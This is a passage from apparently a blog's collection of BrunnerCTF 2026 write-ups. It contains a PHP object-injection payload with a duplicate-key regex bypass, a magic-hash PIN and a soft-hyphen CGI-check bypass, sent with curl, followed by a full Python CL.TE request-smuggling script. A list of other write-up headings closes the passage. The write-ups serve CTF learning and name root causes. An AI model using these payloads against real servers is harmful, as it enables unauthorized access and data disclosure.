    . 's:4:"role";s:5:"guest";'
    . 's:7:"receipt";' . serialize($receipt)   // Receipt containing a Voucher
    . 's:4:"role";s:5:"admin";'
    . '}';

Regex-extracted role: 'guest'
object(Booking)#3 (3) {
  ["user"]=> string(0) ""
  ["role"]=> string(5) "admin"
  ["receipt"]=> object(Receipt)#4 (2) {
    ["flushOnShutdown"]=> bool(false)
    ["voucher"]=> object(Voucher)#5 (0) {}
  }
}
Actual role property: admin
receipt instanceof Receipt: true

Confirmed exactly the split behavior needed: sanity-check sees guest, real object has admin.

Decoded final payload sent to the server:

O:7:"Booking":4:{s:4:"user";s:0:"";s:4:"role";s:5:"guest";s:7:"receipt";O:7:"Receipt":2:{s:15:"flushOnShutdown";b:0;s:7:"voucher";O:7:"Voucher":0:{}}s:4:"role";s:5:"admin";}

flushOnShutdown doesn't matter in the payload itself - the app forces it to true server-side
once it confirms $booking->receipt instanceof Receipt, right before destroying the booking.

Putting it together

curl -s -X POST \
  "https://php-2003-5677b09b486f6b0a-global.challs.brunnerne.xyz/?%C2%ADd%20webhotel.legacy=1" \
  --data-urlencode "staff_pin=240610708" \
  --data-urlencode "reservation_export=Tzo3OiJCb29raW5nIjo0OntzOjQ6InVzZXIiO3M6MDoiIjtzOjQ6InJvbGUiO3M6NToiZ3Vlc3QiO3M6NzoicmVjZWlwdCI7Tzo3OiJSZWNlaXB0IjoyOntzOjE1OiJmbHVzaE9uU2h1dGRvd24iO2I6MDtzOjc6InZvdWNoZXIiO086NzoiVm91Y2hlciI6MDp7fX1zOjQ6InJvbGUiO3M6NToiYWRtaW4iO30="

First attempt failed with an empty reservation_export (local shell variable pointed at a file
that only existed in the sandbox used to build the payload, not on the actual attack box) -
got Only customer reservations can be imported. as a result of an empty string failing the
regex check entirely. Re-ran with the base64 blob pasted inline:

<div class="result ok">Reservation imported.</div>
<div class="result flag">brunner{php_was_a_web_framework_and_a_fever_dream}</div>

Key vulnerabilities

#	Vulnerability	Root cause
1	Legacy CGI check bypass	Blocklist checks for literal `-` before a soft-hyphen-to-hyphen substitution, allowing U+00AD to sneak past and become a real hyphen after the check
2	Staff PIN auth bypass	Loose (`!=`) comparison of two "0e"-prefixed all-digit MD5 hashes - PHP type-juggling ("magic hash")
3	PHP Object Injection	`unserialize()` on user-controlled base64 data, restricted via `allowed_classes` but with no `__wakeup`/property validation
4	Regex sanity-check bypass	Property validation via regex on raw serialized string doesn't account for duplicate keys; `unserialize()` lets later duplicates silently overwrite earlier ones
5	Destructor-based side effect	`Receipt::__destruct()` performs a privileged action (flag disclosure) reachable purely by controlling object graph + a state flag the app itself sets

Attack chain

robots.txt disallow "/index.phps"
        |
        v
Apache .phps handler leaks full PHP source (no code exec needed)
        |
        v
GET ?%C2%ADd%20webhotel.legacy=1  --> soft-hyphen bypasses legacy_cgi_request() blocklist
        |
        v
staff_pin=240610708  --> md5() magic hash bypasses loose ACCESS_CODE_HASH check
        |
        v
reservation_export = base64(serialized Booking)
  duplicate "role" property: first="guest" (fools regex pre-check)
                              last ="admin" (real value after unserialize())
        |
        v
allowed_classes unserialize() builds:
  Booking { role: admin, receipt: Receipt { voucher: Voucher } }
        |
        v
Server sets Receipt->flushOnShutdown = true, then unset()s the Booking
        |
        v
Receipt::__destruct() fires --> voucher instanceof Voucher --> echoes flag

BrunnerCTF 2026 - Welcome Aboard (Web)

Yogeshwar Peela — Sun, 23 Aug 2026 14:49:41 +0000

Summary

The Brunnerne Inc. internal wiki sits behind layered infrastructure. Direct access to /wiki/internal/flag (hinted by robots.txt) returns a hard 403 Access is forbidden. from Kestrel. The platform, however, accepts both Content-Length and Transfer-Encoding: chunked on the same request. A classic CL.TE request-smuggling payload lets the front-end treat the whole thing as a single POST while Kestrel finishes the empty chunk and then processes a second, smuggled GET /wiki/internal/flag. That internal request bypasses the path-based forbid and returns the restricted article containing the flag.

Flag: brunner{00ps_th4t_p4g3_w4s_1nt3rn4l}

Recon

BASE=https://welcome-aboard-3df87e778cd2e6a3-global.challs.brunnerne.xyz:1337
curl --http1.1 -s "$BASE/"
curl --http1.1 -s "$BASE/robots.txt"

robots.txt is the only interesting early signal:

User-agent: *
Disallow: /wiki/internal/flag

Direct access yields a minimal 403:

curl --http1.1 -sI "$BASE/wiki/internal/flag"
# HTTP/1.1 403 Forbidden
# Content-Type: text/plain
# Content-Length: 21
# Access is forbidden.

The public wiki is a simple ASP.NET Core (Kestrel) application with a handful of static articles and a POST /search endpoint. Path-normalization, case variation, double-encoding, matrix parameters, and common header overrides all still return 403. The challenge description explicitly mentions “multiple layers of infrastructure” and that “every chunk reaches the backend, exactly as expected” — a strong pointer toward HTTP request smuggling.

Vulnerability

Front-end and Kestrel disagree on request framing when both Content-Length and Transfer-Encoding: chunked are present:

The proxy trusts Content-Length and consumes the entire body as one request.
Kestrel prefers Transfer-Encoding: chunked, terminates at the first 0\r\n\r\n, and treats any subsequent bytes as a brand-new request on the same keep-alive connection.

Because the second request never passes through the external path-authorization middleware, /wiki/internal/flag is served.

Exploitation (CL.TE)

import ssl, socket, time

HOST = "welcome-aboard-3df87e778cd2e6a3-global.challs.brunnerne.xyz"
PORT = 1337

def send_raw(req: bytes) -> str:
    ctx = ssl.create_default_context()
    with socket.create_connection((HOST, PORT), timeout=10) as raw:
        with ctx.wrap_socket(raw, server_hostname=HOST) as s:
            s.sendall(req)
            time.sleep(2)
            buf = b""
            s.settimeout(3)
            while True:
                try:
                    chunk = s.recv(4096)
                    if not chunk:
                        break
                    buf += chunk
                except OSError:
                    break
    return buf.decode(errors="replace")

smuggled = (
    "GET /wiki/internal/flag HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Connection: close\r\n"
    "\r\n"
)
body = "0\r\n\r\n" + smuggled
cl = len(body)

req = (
    "POST /search HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {cl}\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Connection: keep-alive\r\n"
    "\r\n"
) + body

print(send_raw(req.encode()))

The response contains the normal search-results page (first request) followed by the internal article (smuggled request):

...
<div class="breadcrumb">Help Center / Q4 Payroll Notes (Internal)</div>
<main class="card">
<h1>Q4 Payroll Notes (Internal)</h1>
...
<p>These notes are for the payroll team only and are not linked from the public wiki.
Flag: brunner{00ps_th4t_p4g3_w4s_1nt3rn4l}</p>
...

Key points

Component	Behavior
Proxy / front-end	Honors `Content-Length`, ignores (or does not fully process) `Transfer-Encoding`
Kestrel	Honors `Transfer-Encoding: chunked`, terminates at `0\r\n\r\n`
Path authorization	Applied only to requests that arrive through the normal external pipeline
Smuggled request	Arrives as an already-accepted keep-alive request → bypasses the forbid

Attack chain

robots.txt Disallow: /wiki/internal/flag
        |
        v
Direct GET → 403 “Access is forbidden.”
        |
        v
CL.TE smuggle:
  POST /search  (Content-Length + Transfer-Encoding: chunked)
  body = “0\r\n\r\n” + “GET /wiki/internal/flag …”
        |
        v
Proxy sees one request; Kestrel sees two
        |
        v
Second request reaches internal article
        |
        v
Flag disclosed

DEV Community: Yogeshwar Peela

WebVersePro : SnowedOut writeup

1. Overview

2. Recon

3. Confirming the Injection Point

4. Reading the CSP Header

5. Dead Ends: Chasing a Classic XSS Detector

6. The Actual Solve Condition

7. Full Reproduction (Copy-Paste)

8. Root Cause

9. Fix Recommendations

HackSmarter - Casino Writeup

Summary

Recon

Source map leak → unauthenticated API disclosure

Login bypass via leaked guest data

SSTI discovery on /profile

First RCE attempt — failed (shell quoting, not a WAF)

Successful RCE via --data-urlencode

Reverse shell

Confirming we're inside a Docker container

Local enumeration → password reuse

Privilege escalation → david

Root

Attack Chain

Key Vulnerabilities & Mitigations

TryHackMe : Umbrella Writeup

Introduction

Reconnaissance

Enumerating the Docker Registry

MySQL Access and Credential Dump

Foothold

Source Code Review and RCE

Privilege Escalation via Shared Log Volume

Attack Chain Summary

Key Vulnerabilities

Mitigations

BrunnerCTF 2026 : Half Backed Writeup

Summary

1. Recon - six named layers, no wiring

2. Working out the chain from dimensions

3. Adding the "yeast" (activation)

4. Running it

Full patched script

Key Vulnerabilities / Design Weaknesses

Attack Chain

Mitigations (if this were a real system rather than a CTF)

Files

BrunnerCTF 2026 : Magic or Not Writeup

Summary

1. Recon - the files don't match their extensions

2. Recovering the key per file

3. Decoding

4. Reassembling the image

Full solve script

Key Vulnerabilities

Attack Chain

Mitigations

Files

BrunnerCTF 2026 : The Three Ways Writeup

Summary

Recon

Stage 1 - Flow

Finding a second credential in git history

Privilege check

CI pipeline abuse -> shell

Stage 2 - Feedback / Continuous Improvement

The target: an unsigned autonomous rollout agent

Getting registry write access

Building and uploading a malicious bundle

Root

Bonus: a third flag hidden in the package registry's version history

Full chain summary

Root cause and lessons

BrunnerCTF 2026 : Activating Neurons Writeup

Summary

1. Recon - reading the model definition

2. Working out why the input doesn't matter

3. Patching the model

4. Decoding the output

Successful RCE via `--data-urlencode`

Initial Access - `wp2shell-poc` (CVE-2026-63030 & CVE-2026-60137)

Privilege Escalation - CVE-2025-32463 (`sudo` chroot / "chwoot")

`bink_ink_update_tool.py` (runs as `brunner_operator`)

`bink_ink_verify.sh` (original, owned by `brunner_operator`)

`bink_ink_apply.sh` (root-owned, runs as root via sudo)

Step 2 - Build the malicious `bink_ink_verify.sh`

Step 3 - Build the squashfs payload (`pwn.tar`)

Step 5 - Trigger `verify` and collect both flags